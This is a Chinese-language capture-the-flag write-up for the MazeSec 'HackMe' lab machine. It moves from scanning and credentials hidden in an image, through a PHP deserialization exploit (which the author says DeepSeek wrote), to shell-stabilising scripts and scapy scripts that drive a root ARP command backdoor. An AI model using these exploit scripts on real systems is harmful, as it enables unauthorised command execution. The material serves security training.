MazeSec Hackme
靶机不错,期待新作
靶机信息
名称:HackMe
作者:Joker-xue
系统:Linux
难度:Easy
来源:MazeSec / QQ 内部群 660930334
官网:https://maze-sec.com/
信息收集
存活主机扫描
arp-scan 扫描,靶机 IP 地址为 192.168.6.159
arp-scan 192.168.6.0/24
arp 扫描过程可以发现异样,靶机会持续响应 arp 请求

端口扫描
nmap 扫描
- -p- 扫描所有端口
- -sS 使用 SYN 扫描,也称为半开放扫描,速度较快
- -n 不进行 DNS 解析,直接使用 IP 地址,提高扫描速度
nmap 192.168.6.159 -p- -sS -n
PORT STATE SERVICE
80/tcp open http
靶机仅开放了 80 端口
80 端口信息收集
访问 web 页面,返回一张图片

curl 请求一下
curl http://192.168.6.159
curl 警告内容是二进制数据,-o 参数保存为文件,使用 file 命令查看文件类型,一个jpeg 图片

图片分析
使用 strings 命令查看图片中的字符串,发现图片尾部追加了 php 代码,其中有段类似用户名密码的字符串,靶机没有开放 22 端口,猜测需要拿到反弹shell,内部登录ssh
joker:@-joker-@-123421-@

PHP反序列化
把这段 php 代码提取保存到 index.php 文件中,kali 使用 php 开个web服务,进行本地测试

把 php 反序列化 demo 喂给 deepseek ,拿到一个 exp
<?php
class Starter {
public $obj;
}
class Middle {
public $target;
}
class Runner {
public $command;
}
// 构造利用链
$runner = new Runner();
$runner->command = "id"; // 要执行的命令
$middle = new Middle();
$middle->target = $runner;
$starter = new Starter();
$starter->obj = $middle;
// 序列化
$serialized = serialize($starter);
echo "Serialized: " . $serialized . "\n";
// Base64 编码
$payload = base64_encode($serialized);
echo "Payload: " . $payload . "\n";
?>


稳定 shell

nc 稳定shell payload(自用)
xxx:拿到分配交互式伪终端payload
ctrl+Z 将反弹shell放到后台,执行yyy 的第一句进行输入处理,再执行剩余优化部分
yyy:拿到输入处理payload,以及后续优化体验
echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
cat << 'EOF' > ~/.local/bin/xxx
#!/bin/bash
echo '
/usr/bin/script -qc /bin/bash /dev/null
'
EOF
chmod +x ~/.local/bin/xxx
cat << 'EOF' > ~/.local/bin/yyy
#!/bin/bash
echo '
stty raw -echo; fg
export TERM=xterm
echo $SHELL
export SHELL=/bin/bash
'
rows=$(stty size | awk '{print $1}')
cols=$(stty size | awk '{print $2}')
echo "stty rows $rows cols $cols"
EOF
chmod +x ~/.local/bin/yyy
SSH 登录 joker
使用 joker:@-joker-@-123421-@ 凭证登录 ssh

进程信息发现
查看进程信息,发现 root 用户运行 /root/arp_server.py 脚本,并使用 systemctl 重启 arp-listener.service 服务

查看 arp-listener.service 服务信息,描述是 ARP Command Listener,猜测可能是后门,此处 arp 也与开头的 arp-scan 扫描时靶机持续响应 arp 请求有关
joker@hackme:~$ cat /etc/systemd/system/arp-listener.service
[Unit]
Description=ARP Command Listener
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /root/arp_server.py
ExecStartPost=/bin/bash -c 'sleep 10 && systemctl restart arp-listener.service'
Restart=always
RestartSec=3
User=root
[Install]
WantedBy=multi-user.target
尝试单播 arp 请求,同时 tcpdump 监听过滤靶机的 arp 包,查看 arp 包信息
┌──(root㉿kali)-[~]
└─# arping -c 3 -I eth0 192.168.6.159
ARPING 192.168.6.159
60 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=0 time=242.990 usec
108 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=1 time=57.097 msec
60 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=2 time=194.439 usec
108 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=3 time=20.358 msec
60 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=4 time=204.087 usec
108 bytes from 08:00:27:ff:61:28 (192.168.6.159): index=5 time=22.733 msec
--- 192.168.6.159 statistics ---
3 packets transmitted, 6 packets received, 0% unanswered (3 extra)
rtt min/avg/max/std-dev = 0.194/16.805/57.097/20.400 ms
tcpdump 监听过滤靶机的 arp 包,查看 arp 包信息,返回了 CMD: 08:32:30 up 33 min,执行了 uptime 命令
tcpdump -i eth0 host 192.168.6.159 -A
在 arp 包中发现了类似命令执行内容,CMD: 08:32:30 up 33 min

猜测 arp_server.py 脚本会监听 arp 包中的命令内容,并执行命令,执行结果通过 arp 包返回
使用脚本探测可能的利用方式
#!/usr/bin/env python3
from scapy.all import *
import time
TARGET = "192.168.6.159"
INTERFACE = "eth0"
def send_and_capture(cmd, method):
if method == "raw":
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
pkt /= ARP(pdst=TARGET)
pkt /= Raw(load=cmd)
elif method == "cmd_prefix":
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
pkt /= ARP(pdst=TARGET)
pkt /= Raw(load=f"CMD:{cmd}")
elif method == "exec_prefix":
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
pkt /= ARP(pdst=TARGET)
pkt /= Raw(load=f"EXEC:{cmd}")
elif method == "shell_prefix":
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
pkt /= ARP(pdst=TARGET)
pkt /= Raw(load=f"shell:{cmd}")
elif method == "run_prefix":
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
pkt /= ARP(pdst=TARGET)
pkt /= Raw(load=f"run:{cmd}")
elif method == "mac":
cmd_bytes = cmd.encode()[:6]
mac = ':'.join(f"{b:02x}" for b in cmd_bytes.ljust(6, b'\x00'))
pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff")
pkt /= ARP(pdst=TARGET)
print(f"[{method}] Sending: {cmd}")
sendp(pkt, iface=INTERFACE, verbose=False)
print(f"[{method}] Waiting 10 seconds for response...")
packets = sniff(filter=f"arp and host {TARGET}", timeout=10, iface=INTERFACE)
if packets:
for pkt in packets:
print(f"[{method}] Response received:")
if Raw in pkt:
data = pkt[Raw].load.decode('utf-8', errors='ignore')
print(f" Data: {data}")
else:
pkt.show()
else:
print(f"[{method}] No response after 10 seconds")
print()
print("Testing ARP backdoor")
print(f"Target: {TARGET}\n")
methods = ["raw", "cmd_prefix", "exec_prefix", "shell_prefix", "run_prefix", "mac"]
for method in methods:
send_and_capture("id", method)
print("Test complete")
测试发现,只有带有 CMD: 前缀的 arp 包会被执行,并通过 arp 包返回结果

#!/usr/bin/env python3
import sys
from scapy.all import *
TARGET = "192.168.6.159"
INTERFACE = "eth0"
def execute_command(command):
pkt = Ether(dst="ff:ff:ff:ff:ff:ff")
pkt /= ARP(pdst=TARGET)
pkt /= Raw(load=f"CMD:{command}")
sendp(pkt, iface=INTERFACE, verbose=False)
packets = sniff(filter=f"arp and host {TARGET}", timeout=10, iface=INTERFACE)
for pkt in packets:
if Raw in pkt:
return pkt[Raw].load.decode('utf-8', errors='ignore')
return "No response"
if len(sys.argv) < 2:
print("Usage: python3 exp.py <command>")
print("Example: python3 exp.py id")
sys.exit(1)
command = sys.argv[1]
result = execute_command(command)
print(result)
似乎不能有空格,有空格时命令不会执行

重定向符号 > 也会检测

直接执行可执行脚本会报错


补充 shebang 行可以正常执行

